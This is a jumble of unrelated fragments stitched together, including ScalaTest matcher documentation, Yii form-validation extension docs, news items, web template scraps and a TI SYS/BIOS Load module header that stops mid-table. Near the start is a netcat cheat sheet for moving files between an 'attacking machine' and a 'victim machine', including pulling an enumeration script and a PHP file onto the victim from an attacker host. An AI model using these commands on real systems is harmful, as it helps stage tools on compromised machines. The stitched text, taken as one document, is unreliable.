| Class Summary | |
trait
|
BeMatcher
[-T] extends (T) => MatchResult
Trait extended by matcher objects, which may appear after the word
be , that can match a value of the specified type.
The value to match is passed to the BeMatcher 's apply method. The result is a MatchResult .
A BeMatcher is, therefore, a function from the specified type, T , to a MatchResult . |
case final class
|
BePropertyMatchResult
(val matches : Boolean, val propertyName : java.lang.String) extends scala.Product
The result of a
Boolean property match operation, such as one performed by a
BePropertyMatcher ,
which contains one field that indicates whether the match succeeded (i.e., the Boolean
property was true ) and one field that provides
the name of the property. |
trait
|
BePropertyMatcher
[-T] extends (T) => BePropertyMatchResult
Trait extended by matcher objects, which may appear after the word
be , that can match against a Boolean
property. The match will succeed if and only if the Boolean property equals true .
The object containing the property, which must be of the type specified by the BePropertyMatcher 's type
parameter T , is passed to the BePropertyMatcher 's
apply method. The result is a BePropertyMatchResult .
A BePropertyMatcher is, therefore, a function from the specified type, T , to
a BePropertyMatchResult . |
case final class
|
HavePropertyMatchResult
[P](val matches : Boolean, val propertyName : java.lang.String, val expectedValue : P, val actualValue : P) extends scala.Product
The result of a property match operation such as one performed by a
HavePropertyMatcher ,
which contains one field that indicates whether the match succeeded (i.e., the
property had its expected value), one field that provides
the name of the property, and two fields giving the expected and actual values.
HavePropertyMatchResult 's type parameter, P , specifies the type of the property. |
trait
|
HavePropertyMatcher
[-T, P] extends (T) => HavePropertyMatchResult[P]
Trait extended by matcher objects, which may appear after the word
have , that can match against a
property of the type specified by the HavePropertyMatcher 's second type parameter P .
HavePropertyMatcher 's first type parameter, T , specifies the type that declares the property. The match will succeed if and
only if the value of the property equals the specified value.
The object containing the property
is passed to the HavePropertyMatcher 's
apply method. The result is a HavePropertyMatchResult[P] .
A HavePropertyMatcher is, therefore, a function from the specified type, T , to
a HavePropertyMatchResult[P] . |
case final class
|
MatchResult
(val matches : Boolean, val failureMessage : java.lang.String, val negatedFailureMessage : java.lang.String, val midSentenceFailureMessage : java.lang.String, val midSentenceNegatedFailureMessage : java.lang.String) extends scala.Product
|
trait
|
Matcher
[-T] extends (T) => MatchResult
Trait extended by objects that can match a value of the specified type. The value to match is
passed to the matcher's
apply method. The result is a MatchResult .
A matcher is, therefore, a function from the specified type, T , to a MatchResult . |
trait
|
Matchers
extends Assertions
This trait is part of the ScalaTest matchers DSL. Please see the documentation for ShouldMatchers or
MustMatchers for an overview of the matchers DSL.
|
trait
|
MustMatchers
extends Matchers with MustVerb
Trait that provides a domain specific language (DSL) for expressing assertions in tests
using the word
must . (If you prefer the word should , you can alternatively
mix in trait ShouldMatchers .) For example, if you mix MustMatchers into
a suite class, you can write an equality assertion in that suite like this:
object must equal (3) |
trait
|
ShouldMatchers
extends Matchers with ShouldVerb
Trait that provides a domain specific language (DSL) for expressing assertions in tests
using the word
should . (If you prefer the word must , you can alternatively
mix in trait MustMatchers .) For example, if you mix ShouldMatchers into
a suite class, you can write an equality assertion in that suite like this:
object should equal (3) |
| Object Summary | |
object
|
BePropertyMatchResult
extends AnyRef
Companion object for the
BePropertyMatchResult case class. |
object
|
HavePropertyMatchResult
extends AnyRef
Companion object for the
HavePropertyMatchResult case class. |
object
|
MatchResult
extends AnyRef
Companion object for the
MatchResult case class. |
object
|
MustMatchers
extends MustMatchers
Companion object that facilitates the importing of
MustMatchers members as
an alternative to mixing it the trait. One use case is to import MustMatchers members so you can use
them in the Scala interpreter:
$scala -classpath scalatest.jar Welcome to Scala version 2.7.3.final (Java HotSpot(TM) Client VM, Java 1.5.0_16). Type in expressions to have them evaluated. Type :help for more information. scala> import org.scalatest.matchers.MustMatchers._ import org.scalatest.matchers.MustMatchers._ scala> 1 must equal (2) org.scalatest.TestFailedException: 1 did not equal 2 at org.scalatest.matchers.Helper$.newTestFailedException(Matchers.scala:40) at org.scalatest.matchers.MustMatchers$MustMethodHelper$.mustMatcher(MustMatchers.scala:826) at org.scalatest.matchers.MustMatchers$IntMustWrapper.must(MustMatchers.scala:1123) at . |
object
|
ShouldMatchers
extends ShouldMatchers
Companion object that facilitates the importing of
ShouldMatchers members as
an alternative to mixing it the trait. One use case is to import ShouldMatchers members so you can use
them in the Scala interpreter:
$scala -classpath scalatest.jar Welcome to Scala version 2.7.3.final (Java HotSpot(TM) Client VM, Java 1.5.0_16). Type in expressions to have them evaluated. Type :help for more information. scala> import org.scalatest.matchers.ShouldMatchers._ import org.scalatest.matchers.ShouldMatchers._ scala> 1 should equal (2) org.scalatest.TestFailedException: 1 did not equal 2 at org.scalatest.matchers.Helper$.newTestFailedException(Matchers.scala:40) at org.scalatest.matchers.ShouldMatchers$ShouldMethodHelper$.shouldMatcher(ShouldMatchers.scala:826) at org.scalatest.matchers.ShouldMatchers$IntShouldWrapper.should(ShouldMatchers.scala:1123) at . |


Send a file on your machine to victim machine by listening for victim to connect outbound to you
On attacking machine:
nc -lvp 4444 < file
On victim machine:
nc <IP_ADDRESS> 4444 > file
Send a file on your machine to victim machine by having victim listen for you to connect into
On attacking machine:
nc <IP_ADDRESS> 3333 < enum.sh
On victim machine:
nc -lvp 3333 > enum.sh
NC web (for when wget / curl are not installed) (alternatively, just nc <lhost> <lport> > r.php)
printf "GET http://<LHOST>/r.txt HTTP/1.0\r\n\r\n" > get.txt
nc <IP_ADDRESS> 80 < get.txt > r.php


Steam Badge Cost Ratios
On GithubThis webpage displays all games with badges in the Steam store. Each badge consists of trading cards with varying values in the Steam marketplace. This webpage compares how much a badge is worth compared to the games' prices in the Steam store. Note that table sort runtime depends on device.
Credits to Steam Card Exchange for badge prices. The store prices were last updated on
| Product | Badge Price | Store Price | Cost Ratio |
|---|


COLUMNS and ROWS
19 April 2019
The Desire To Organize
We are absolutely driven to organize the world around us. Organization gives us a way to reference things quickly; we don't have to know it all. We just need to know how to get to what we want. It's why we may not know what the 27th element on the periodic table is (unless you're a chemist) but you know how to find out.
The machines we build to help us understand the world around us also organizes information. We often put information in grids, and then, tell our machines to go out and get that information from the grids. Because we identify the grids via a labeling system, the machine knows where to get the information because of the labeling system we attach to it. Think of our star charts, and the quadrants of the sky.
To make grids, it is natural to divide the areas upon horizontal and vertical axis. Much assistive technology is built to go up and down, right and left to look for the content you labeled.
Little Old Ladies..
We're going to use a scenario no one can get out of their head -- the vision of a little old lady crossing the street -- in order to learn about charts, graphs, tables....and how assistive technology sees them!
Little Old Lady and Associations
If you and I were standing at a crowded intersection, and I were to say to you, "I wonder if that little old lady needs help crossing the street..." then, how would you know WHICH little old lady I was talking about? Why, the little old lady standing at the street corner, of course. You associated the location of the street corner to the little old lady standing next to it to understand which little old lady I was talking about. It is the association that is critical.
Little Old Lady and Orientation
You and I are standing at a crowded intersection with more than one little old lady standing at the intersection needing help crossing the street. I say, "Hey! That little old lady needs help going across the street!" You say, "WHICH little old lady? There's more than one!" I say, "The little old lady at one o'clock!" So we are looking at the little old lady by orientation. For the machines, however, we would not just give orientation, we would provide distance, too, through x and y coordinates We know where the little old lady is through direction and distance from a point of orientation.
Little Old Lady and Relationship
You and I are standing at a crowded intersection with more than one little old lady standing at the intersection needing help crossing the street. I say, "Hey! That little old lady at one o'colck needs help going across the street!" You say, "WHICH little old lady? There's more than one at one o'clock!" I say, "My mom!" So we are looking at the little old lady by relationship. For the machines, we provide orientation, and also, add labels of relationship so the machine understands better how to communicate which specific little old lady is being referenced. The machine can get there, but you need to put in labels so we can helpl mom across the street!


JFormValidate is a Yii extension dedicated to provide Javascript Form Validation feature, for the Yii framework. This extension relies on an existing JQuery plugin that provides all the logic and functionnalities for the actual client-side Form validation. It is a powerful plugin, with plenty of intresting features that are described in its official documentation.
The released archive contains following files and folders :
'jformvalidate' => array ( 'class' => 'application.extensions.jformvalidate.EJFValidate', 'enable' => true ),
'import'=>array( ... 'application.extensions.jformvalidate.EHtml', ... )
Now, the extension will be loaded the first time it is needed, but of course it is also possible to add it
to the preload sequence.
The 'enable' initialization argument (default to true) can be used to
easely enable/disable the jformvalidate extension.
For more information on extensions, please refer to the
Yii Documentation.
Ok, let's see it in action ! For this first example, and assuming that the extension is correctly installed, we'll add Javascript validation
to the Contact form that is automatically created with Yii skeleton application.
This only requires to modify the corresponding view file, as describes below :
CHtmlwith
EHtml
That's it ! The contact form is now validated on the client side, according to the rules defined by the corresponding Yii model. Of course there are some configuration and CSS to set up in order to get a nice design, but the form validation is up and ready.
The EHtml class wraps all helper static methods from the CHtml Yii core class, and by doing so, collects information on the form that is being built. When the endForm() method is invoked, all this information is used to generate a javascript initialisation object for the JQuery Plugin validation. Therefore, this extension can be considered as some sort of adaptater/converter between validation rules defined by a Yii model, and validation rules implemented by the JQuery Validate plugin.
This version supports Yii 1.1 Branch but very few changes (if not no changes at all) must be done on your forms to be able to work fine with it.
Yii::app()->jformvalidate->activeTextField($model,'username');that is you were using the application component and not the EHtml class, you must now call :
EHtml::activeTextField($model,'username');and use the EHtml class !
Please note that method and class based validators are not supported by this extension, as it is not possible to automatically produce a JS code from a specific piece of PHP code (if you know how to do it, be my guess).
In this version, the following set of Yii built-in validators is supported :
If you need to validate user inputs on the client side, with a rule that is not (yet) implemented by this extension
you can do so, by using the pseudo validator provided with the extension.
This validator is a standard Yii validator class (it inherits from CValidator) but it is describes as pseudo
because its only goal is to wrap calls to Javascript validators which are part of the underlying JQuery plugin.
Therefore, when the pseudo validator is called by the Yii framework to validate an attribute, it always return true.
Let's take a look at an example. The JQuery Plugin has a validator rule called remote which
is used to validate a user entry through an ajax call to the server. So, let's say we want the user to enter his/her email, and that this email must not be already in use (this
rule is equivalent of the Yii unique rule). The initialisation value for the remote validator, is the url that is in charge of testing email unicity.
In the model, we add the following rule :
array('custom1', 'application.extensions.jquery-form-validator.ECustomJsValidator', 'rules' => array( 'remote' => 'index.php?r=Jsvform/remoteValidate' ), 'messages' => array( 'remote' => '{attribute} already registred' ) ),..and that's it. Ok, you have to add the actionRemoteValidate() method to the JsvformController, but that's an easy task.
As you can see in the example above, the ECustomJsValidator class accepts a rule and a messages parameters, as described by the JQuery Plugin documentation.
Implementing ajax submition with client-side validation is simple, as it doesn't require anything else
than what is required by Yii ! A call to EHtml::ajaxSubmitButton() is enough to inform the Extension that
ajax submition is needed. When this function is invoked, the JFormValidate extension will handle javascript
creation and event handler registration instead of Yii.
For a complete example, take a look at sample form13 and form14.
In case an input field is not valid on the client-side, an error message is displayed. This error message comes from :
In the configuration file, it is possible to set some initialization parameters.
In this version of the extension, only a reduced set of the Yii CHtml helpers methods have been wraped.
The JFormValidate extension provides also specific methods to perform specific tasks.
The JQuery Validate plugin allows to overload the submit default handler (see related documentation). If you choose to do so, you must include a call to $.fn.EJFValidate.restoreName() in your own submit hanlder. This javascript function is provided with the extension because a call to some CHtml helpers method, generates HTML input elements with duplicated names. The problem is that the JQuery Validate Plugin works with input elements names, and duplicates name are not welcomed. The Extension will temporary remove duplicate name, and they must be restores before form submition. That's what the restoreName javascript function does. Below is an example of how is it possible to overload the submit handler :
<?php echo EHtml::beginForm(); EHtml::setOptions(array( // ... put other options here ... 'submitHandler' => 'function(form){ $.fn.EJFValidate.restoreName(); alert("submting the form"); }' )); ?>Check the sample form7 and form8 for live examples.
Note that starting from version 1.0.4, all customizable hanlders available in the JQuery Validate Plugin options, can be overloaded with the same principle. This can be done at the form level (like in the example above) and of course at the configuration level, in your application configuration file, when declaring the EJFValidate extension.
Copyright (c) 2009-2010 by Raoul All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
Neither the name of Raoul nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.


Please setup a password to unlock this application in the future.
The password must have 5-12 characters, with atleast one uppercase, lowercase and numeric character.


Chacarter
In the initial seasons, Garry proved to be pretty good as a coach, but he let us down with character. Always tried to prove that he is better than Ash. And he did it, judging because Garry was one step ahead of the opponent. Later, already in subsequent seasons, Garry changed his character a little. He still wanted to win, but he could help Ash solve a problem. He became famous as a poet (Dawn loves his poetry).


{% extends "layout.html" %} {% block title %} Edit Club {% endblock %} {% block main %}
Events hosted by my clubs
RSVP
Events for everyone!


Sign-in with Apple means privacy, security
by DigitlAt first sight sign-in with Apple looks like another attempt by a tech giant to collect user data.
It isn’t. Apple aims to reverse that data collection.
Facebook and Google offer single sign-in services. These are used to monitor people’s online activity.
Single sign-in reduces friction as you move around on-line sites that ask for a log-in. It speeds things up. That’s important in an impatient world.
Sign-in downsides
The downside is that Facebook and Google get to learn a lot more about account holder online activity.
You may view this as innocent, ominous or simply a tax paid to live in the digital world. You may not care.
Other downsides are greater security and privacy risks. In the past single sign-on services have been hacked.
Sign-in with Apple is different. It is more secure. There is built-in two-factor authentication support and anti-fraud detection.
You can use it to sign-in to websites. It also works with iOS apps. That way you know the apps you use are not sharing your private data with someone you may not trust.
Also, you choose if an app developer gets to see your email address. That’s optional.
If you choose not to share, Apple generates a disposable email address for that app.
Sign-in with Apple works with Android phones and Windows computers, but you’ll get most from it if you have Apple hardware. It integrates with iOS and Apple Keychain. It also works with Apple TV and Apple Watch.
Sign-in with Apple stays private
There’s no lock-in. On the other hand, it might give privacy aware users who shop elsewhere another reason to consider Apple products.
Apple insists app developers using the App Store offer the service if they offer the Google or Facebook alternative. Otherwise it is optional.
At first I was wary of the idea. Now I’m keen. I’ve never used the Google or Facebook sign-ins and got used to doing things the slow, but more private, way. Now that’s unnecessary.
Of course, you have to trust Apple when it says that it doesn’t interpret collected data or keep track of your log-ins.
The difference here is that we know for certain Facebook and Google do this. Apple makes its money from hardware and services. Facebook and Google are all about surveillance capitalism.
See: Let’s Clarify some Misunderstandings around Sign In with Apple • Aaron Parecki


{% extends 'pages/base.html' %} {% block content %}
jCourse uses data collected from CampusNet of Jacobs University Bremen. The data is collected from the course catalogue of academic year 2014 (this data is all public).
jCourse is not to be held responsible:


Photos: Tara Sutaraia and Aadar Jain get snapped as they attend 'Marjaavaan' special screening
by TIMESOFINDIA.COMTara Sutaria had been busy with the promotions of her film 'Marjaavaan' co-starring Sidharth Malhotra, Riteish Deshmukh and Rakul Preet Singh. And, the film has hit the theatres and received a mixed response.
Apart from her film, Tara Sutaria is rocking the headlines these day for her rumoured relationship with Aadar Jain. Paparazzi have snapped the couple together on various outings. The duo has never talked about it in open, however, their appearances together and social media PDA reveals everything!
And on Friday evening, Aadar and Tara were snapped as they attended 'Marjaavaan' screening. The actress looked absolutely stunning in a peach-coloured saree. She was in a happy mood as he posed for the pictures. While Aadar was in his casuals. He wore a white t-shirt and blue denim paired with brown shoes.
Check out the pictures here:
Meanwhile, 'Marjaavaaan' helmed by Milap Zaveri and stars Sidharth Malhotra, Riteish Deshmukh and Rakul Preet Singh along with Tara. The film has hit the theatres on November 15.


If you can see this message, there is likely a problem loading the Overviewer JavaScript components. Check the JavaScript console for error messages.


You're Active!
You look for any opportunity you can find to keep moving!


Closing remarks from the producers of Ethnic Studies Rise.
In this final installment for the Ethnic Studies Rise roundtable, Nelson Maldonado-Torres (Rutgers U and Fanon Foundation) and Yomaira Figueroa-Vásquez (Michigan State University) situate Ethnic Studies in longer histories of struggle for justice in and outside of the U.S. academy, and against the white supremacy and Eurocentrism of the modern university. They foreground the marginalization of Ethnic Studies scholars and curricula in the university and highlight the potential of ethnic studies scholars and women of color feminists to decolonize the university.
This conversation features Gabrielle Foreman, Dylan Rodriguez, and Jessica Marie Johnson, who carry forward earlier exchanges in this roundtable on why Ethnic Studies matters now. Each writer trenchantly indicts the academy for its war on the people working in Ethnic Studies and associated fields of study (Black/Africana Studies, Indigenous Studies, Caribbean Studies, Latinx Studies, Women's, Gender and Sexuality Studies, Queer Studies, American Studies). In their respective pieces, they counterpose this war with the powerful solidarity each has experienced through Ethnic Studies work, as part of wider communities struggling in, against, and beyond the academy.
Offering a set of provocations and invitations, Joseph M. Pierce (Stony Brook University) and Kaiama L. Glover (Barnard College) dialogue about the vulnerability of the Indigenous, black, and brown person in academia, and the solidarities, alliances, and kinship forged between black and brown intellectuals that pose a real threat to academic institutions. Building from Lorgia García Peña’s tenure denial, Pierce and Glover move from the structural violence attending their positions in academia to push us to think harder about how we do the work of decoloniality and/in Ethnic Studies.
This conversation features historians Elizabeth Manley (Xavier University) and Edward Paulino (John Jay College of Criminal Justice), who reflect on the contributions Lorgia García Peña's The Borders of Dominicanidad makes to the growing field of Dominican Studies. They also address the way the book draws attention to the crucial place of the Dominican Republic and Haiti in histories of the Caribbean, Latin America, and the African Diaspora. Both build from García Peña's insistence that studies of the Dominican Republic move "from the footnote to the center of the page," and what this means in relation to archival work.
In this exchange Urayoán Noel (NYU) and Rachel Afi Quinn (U. Houston) examine the innovative methods of Lorgia García Peña’s The Borders of Dominicanidad. Urayoán Noel highlights the methodology of entering the margins of U.S. and Dominican national archives, which he calls the “Lorgian Margin,” and Rachel Afi Quinn highlights the self-reflexivity of this methodology, pointing to the ways that Lorgia García Peña’s own voice and embodied experience come under self-scrutiny in the text.
In this strong exchange, Frances Negrón-Muntaner (Columbia U.) and Roopika Risam (Salem State U.) discuss why Ethnic Studies now. Negrón-Muntaner discusses how universities approach Ethnic Studies as a threat precisely because Ethnic Studies seeks to overturn the status quo as an “insurrection” from within and without. Roopika Risam continues in the same vein by outlining the imbrication of the university and racial capitalism and declaring the university as we know it “indefensible.”
In this powerful epistolary exchange, Robin D. G. Kelley (UCLA) and Laurent Dubois (Duke U.) respond to a set of guiding questions about the importance of thinking, theorizing, and historicizing race and racial blackness globally, internationally, and transnationally.
In this exchange, Jossianna Arroyo (U. of Texas, Austin), Sharina Maillo-Pozo (U. of Georgia), and Danny Méndez (Michigan State U.) delve into The Borders of Dominicanidad. Arroyo and Maillo-Pozo offer cogent analyses of the book’s wide-ranging contributions, and Méndez offers a moving response to their analyses that considers the book in relation to García Peña’s commitments.


Tesla unveils its electric Cybertruck
by Bradley PriorTesla has unveiled its latest motor vehicle – the electric Cybertruck – at an event in California.
Tesla CEO Elon Musk showcased the futuristic-looking truck, claiming that it can accelerate from 0-60mph in 2.9 seconds, which he showcased by playing a video of the Cybertruck beating a Porsche 911 off the line.
Musk also highlighted the strength of the vehicle by showing that it can withstand extreme force – including hits from a hammer, ball bearings, and a bullet.
He also claimed that it can tow 6,350kg, and played a video showing it beating the Ford F-150 in a tug-of-war battle.
Musk said that there would be three battery variations available which will offer 250+, 300+, and 500+ miles per charge respectively.
The Tesla Cybertruck has one of the strangest designs of any modern vehicle, with flat, angular panels comprising most of the bodywork.
The starting price for the Tesla Cybertruck is $39,900, and Tesla is accepting pre-orders for this baseline version of the vehicle.
Production is set to begin late in 2021, with the high-end versions scheduled to start production in 2022.
Tesla 4-wheeler
Tesla also unveiled an electric four-wheeler alongside the Cybertruck.
It is not currently available for pre-order, and was primarily used to show how the Cybertruck’s suspension makes loading things into it incredibly easy.
This vehicle can also charge while stored in the back of the Cybertruck.


Free Mentors
Home
Profile
Mentorships
Edit Profile
Logout
Reveiw of your mentor John Chishugi
Score
4/5
Remark
You have to improve your understanding about SQL Queries speciale about Joining Tables.
Copyright © 2019


Home
Try to navigate to these urls :
Here we use static links, but we can also create them dynamically. We'll see that in the next app.


We can access: {{rootProperty}} and {{parentProperty}}
We can access: {{rootProperty}} and {{parentProperty}} and {{childProperty}}
{{ fullSentenceFromChild }}


Using the Help menu option (Menu Help)
Use this menu option to obtain instructions on how to use the Help.


ADD NEW BATCH
BATCH NUMBER
SUBJECT
COURSE CODE
FACULTY CODE
SUBJECT 1
SUBJECT 2
SUBJECT 3
SUBJECT 4
SUBJECT 5
SUBJECT 6
SUBJECT 7
SUBJECT 8
SUBJECT 9


GroupBox
Meet GroupBox Using GroupBox Pricing Download For Work Help Goto GroupBox
Email:
Password:
Not a member yet


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
32 33 34
35
36 package ti.sysbios.utils;
37
38 import xdc.rov.ViewInfo;
39
40 import ti.sysbios.knl.Queue;
41 import ti.sysbios.knl.Task;
42 import ti.sysbios.knl.Swi;
43 import ti.sysbios.interfaces.IHwi;
44
45 import xdc.rov.ViewInfo;
46 import xdc.runtime.Diags;
47 import xdc.runtime.Log;
48 import xdc.runtime.Error;
49
50 /*!
51 * ======== Load ========
52 * The Load module reports execution times and load information for threads
53 * in a system.
54 *
55 * SYS/BIOS manages four distinct levels of execution threads: hardware
56 * interrupt service routines, software interrupt routines, tasks, and
57 * background idle functions. This module reports execution time and load on a
58 * per-task basis, and also provides information globally for hardware
59 * interrupt service routines, software interrupt routines and idle functions
60 * (in the form of the idle task). It can also report an estimate of the
61 * global CPU load.
62 *
63 * Execution time is reported in units of
64 * {@link xdc.runtime.Timestamp Timestamp} counts, and load is reported
65 * in percentages.
66 *
67 * By default, load data is gathered for Task threads.
68 * {@link #hwiEnabled hwiEnabled}, {@link #swiEnabled swiEnabled}
69 * and {@link #taskEnabled taskEnabled} can be used to select which
70 * type(s) of threads are monitored. These statistics are automatically
71 * recorded to the load module's logger instance. Users can also choose
72 * to call {@link #getTaskLoad}, {@link #getGlobalSwiLoad},
73 * {@link #getGlobalHwiLoad} and {@link #getCPULoad} at any time to obtain the
74 * statistics at runtime.
75 *
76 * The module relies on {@link #update} to be called to compute load and
77 * execution times from the time when {@link #update} was last called. This
78 * is automatically done for every period specified by
79 * {@link #windowInMs windowInMs} in an {@link ti.sysbios.knl.Idle Idle}
80 * function when {@link #updateInIdle updateInIdle} is
81 * set to true. The time between two calls to {@link #update} is called the
82 * benchmark time window.
83 *
84 * By passing in a function pointer of type
85 * Void(*{@link #postUpdate})(Void) through the
86 * {@link #postUpdate postUpdate} config parameter, one can specify a
87 * {@link #postUpdate postUpdate} function that is
88 * automatically called by {@link #update} immediately after the statistics
89 * have been computed at the end of a benchmark time window. Setting this
90 * function allows the user to optionally post-process the thread statistics
91 * once and only once per benchmark window.
92 *
93 * Advanced users could optionally omit calling {@link #update} in the idle
94 * loop by setting {@link #updateInIdle updateInIdle} to false. They can
95 * then call {@link #update} somewhere else (e.g. in a periodic higher
96 * priority Task) instead to ensure statistics are computed even when the
97 * system is never idle.
98 *
99 * @a(CPU Load Calculation Methods)
100 *
101 * The CPU load is computed in three different ways,
102 * depending on what threads are monitored, and whether or not Power
103 * management is used to idle the CPU when no threads are running.
104 *
105 * @p(html)
106 * Task Load Disabled and No Power Management
107 * @p
108 *
109 * The first method of calculating CPU load is used when
110 * Task load logging is disabled, ie, {@link #taskEnabled}
111 * is false, and Power management is not used. The CPU load is computed as
112 * the percentage of time in the benchmark window which was NOT spent in the
113 * idle loop. More specifically, the load is computed as follows:
114 *
115 * global CPU load = 100 * (1 - (min. time for a trip around idle loop *
116 * # times in idle loop)/(benchmark time window) )
117 *
118 * Any work done in the idle loop is included in the CPU load - in other
119 * words, any time spent in the loop beyond the shortest trip around the idle
120 * loop is counted as non-idle time.
121 *
122 * This method works fairly well if the timestamp frequency is
123 * sufficiently high (for example, if it's equal to the CPU frequency).
124 * The CPU load accuracy can also be affected by caching and user idle functions.
125 *
126 * @p(html)
127 * Task Load Enabled and No Power Management
128 * @p
129 *
130 * The second method of calculating CPU load is used when Task load logging
131 * is enabled ({@link #taskEnabled} = true) and Power management is not used.
132 * In this case the CPU load is calculted as
133 *
134 * global CPU load = 100 - (Idle task load)
135 *
136 * This prevents any discrepancy between the calculated CPU load had we
137 * used the first method, and 100 - the Idle task load. If Swi and
138 * Hwi load logging are not enabled, however, time spent in a Swi
139 * or Hwi will be charged to the task in which it ran. This will
140 * affect the accuracy of the CPU (and Task) load, but the trade off
141 * is more overhead to do the Hwi and Swi load logging.
142 *
143 * @p(html)
144 * Power Management Enabled
145 * @p
146 *
147 * This method applies to targets that have a SYS/BIOS Power
148 * module. It does not apply to targets
149 * where Power management is part of TI-RTOS (e.g., CC3200).
150 *
151 * The third method of calculating CPU load is used when Power
152 * management is enabled. In this case, the idle loop has a
153 * function brought in by the Power module that idles the CPU.
154 * The timestamp timer must continue to run during idle, in order
155 * to measure idle and non-idle time, however. This method of
156 * calculating CPU load plugs a Hwi hook function which is run
157 * at the beginning of every Hwi. An idle function will call
158 * Timestamp_get32() to mark the beginning of idle time, and
159 * when the first Hwi causes the CPU to come out of idle, the
160 * Hwi hook function will call Timestamp_get32() to mark the end
161 * of idle time. The idle function accumulates the idle time
162 * and total time elapsed, and the CPU load is calculated as:
163 *
164 * global CPU load = 100 * (1 - idle time / time elapsed)
165 *
166 * With this method of CPU load calculation, all idle functions are
167 * included in the CPU load. When Power is enabled, Task, Swi, and
168 * Hwi load logging can be enabled, but you may find that the
169 * CPU load does not equal (100 - idle task load), since the CPU load
170 * is calculated as the percentage of time that the processor is not
171 * powered down, while the idle task load includes powered down time
172 * plus time executing idle functions.
173 *
174 * @p(html)
175 * Power Management Enabled outside of SYS/BIOS
176 * @p
177 *
178 * Some targets have Power management support outside of SYS/BIOS. For
179 * example, CC3200 and CC26XX devices have Power management in TI-RTOS.
180 * In these cases, the best way to get CPU load is to make sure that
181 * {@link #taskEnabled} is set to true. Then the CPU load will be
182 * calculated as 100 - the idle task load. However, for BIOS in ROM builds,
183 * this method will not work, as Task hooks are not allowed. So to
184 * use Load for any devices that support BIOS in ROM builds, make
185 * sure the ROM build is disabled.
186 *
187 * @a(Examples)
188 * Configuration example: The following statements configure the Load module
189 * to obtain output in the CCS output window. This is useful for early
190 * development without RTA tools support in SYS/BIOS:
191 *
192 * @p(code)
193 * var System = xdc.useModule('xdc.runtime.System');
194 * var SysStd = xdc.useModule('xdc.runtime.SysStd');
195 * System.SupportProxy = SysStd;
196 *
197 * var Load = xdc.useModule('ti.sysbios.utils.Load');
198 * var LoggerSys = xdc.useModule('xdc.runtime.LoggerSys');
199 * var Defaults = xdc.useModule('xdc.runtime.Defaults');
200 * var Diags = xdc.useModule('xdc.runtime.Diags');
201 *
202 * // Turn on statistics log messages for Load module
203 * Load.common$.diags_USER4 = Diags.ALWAYS_ON;
204 * // Define a program-wide logger to be the System Logger
205 * Defaults.common$.logger = LoggerSys.create();
206 * @p
207 *
208 * Notes on above example:
209 * @p(blist)
210 * - When using the {@link xdc.runtime.LoggerSys System Logger},
211 * {@link xdc.runtime.System#printf System_printf} calls are made to produce
212 * the output in the output window. These calls are highly intrusive
213 * and are only suited for early development.
214 *
215 * - Also make sure your task stack sizes are large enough when using the
216 * {@link xdc.runtime.LoggerSys System Logger} - particularly the idle task
217 * stack size since logging is done in the idle task by default.
218 * @p
219 *
220 * @a(Caveats)
221 * @p(nlist)
222 * - For the module to return accurate load values, the {@link #update}
223 * function must be run at least once before the Timestamp count gets to
224 * wrap around. This means on a platform with a 32-bit
225 * {@link xdc.runtime.Timestamp Timestamp} frequency that runs at 200 MHz,
226 * the function must be called at least once every 21 sec. With faster
227 * {@link xdc.runtime.Timestamp Timestamp} frequencies it would have to be
228 * called even more frequently.
229 *
230 * - If the {@link #updateInIdle updateInIdle} option is enabled, the
231 * module will call {@link #update} periodically according to
232 * {@link #windowInMs windowInMs}. The latter must be set to a time
233 * interval that is below
234 * (2^32) * 1000 / ({@link xdc.runtime.Timestamp Timestamp} Frequency)
235 * milliseconds
236 *
237 * - If the {@link #updateInIdle updateInIdle} option is disabled, the user is
238 * then responsible for calling {@link #update} more often than the above
239 * time interval.
240 *
241 * - Load values might not add up to 100%. Because the module minimizes
242 * its interrupt latency and avoids locking up the system to compute all
243 * thread loads at once, each thread's execution time is evaluated separately
244 * over its own time window, which could be slightly different to that of
245 * another thread.
246 *
247 * - When disabling monitoring of a thread type of higher priority, the
248 * time spent in that thread type will be counted towards time spent in
249 * threads of lower priority. E.g. if {@link #hwiEnabled hwiEnabled} and
250 * {@link #swiEnabled swiEnabled} are both false, then time spent in Hwi's and
251 * Swi's will be counted towards the Tasks in which the interrupts happened.
252 * Thus, for better accuracy, it is best to leave monitoring on for threads of
253 * a higher priority relative to the thread type of interest.
254 *
255 * - When Task load logging is not enabled and Power management is not used,
256 * the implementation of {@link #getCPULoad()} self-calibrates the shortest
257 * path through the idle loop. It does this by keeping track of the shortest
258 * time between invocations of an idle function automatically inserted by the
259 * Load module, and assumes that to be the time it takes for one iteration
260 * through the idle loop. Because of this, the CPU load value is only an
261 * estimate since the idle loop might occasionally take longer to run
262 * (e.g. due to caching effects, stalls). The reported CPU load tends to be
263 * slightly higher than reality, especially when the load is low.
264 *
265 * - If {@link #taskEnabled taskEnabled} is set to true,
266 * task name support will be automatically turned on so that the Load module
267 * can print out the task names in its log output.
268 *
269 * - Currently does not support {@link xdc.runtime.Timestamp Timestamp}
270 * frequencies over 4 GHz.
271 * @p
272 *
273 * @p(html)
274 *
 Calling Context

275 *

276 * <colgroup span="1"></colgroup> <colgroup span="5" align="center">
277 * </colgroup>
278 *
279 *
 Function 	 Hwi 	 Swi
280 *  Task 	 Main 	 Startup

281 *
282 *
 {@link #getCPULoad} 	 Y 	 Y
283 *  Y 	 N 	 N

284 *
 {@link #getGlobalHwiLoad}	 Y 	 Y
285 *  Y 	 N 	 N

286 *
 {@link #getGlobalSwiLoad}	 Y 	 Y
287 *  Y 	 N 	 N

288 *
 {@link #getTaskLoad} 	 Y 	 Y
289 *  Y 	 N 	 N

290 *
 {@link #reset} 	 Y* 	 Y*
291 *  Y 	 Y 	 N

292 *
 {@link #update} 	 Y* 	 Y*
293 *  Y 	 N 	 N

294 *
 Definitions:

295 *

296 *
 Hwi: API is callable from a Hwi thread.

297 *
 Swi: API is callable from a Swi thread.

298 *
 Task: API is callable from a Task thread.

299 *
 Main: API is callable during any of these phases:

300 *

301 *
 In your module startup after this module is started
302 * (e.g. Load_Module_startupDone() returns TRUE).

303 *
 During xdc.runtime.Startup.lastFxns.

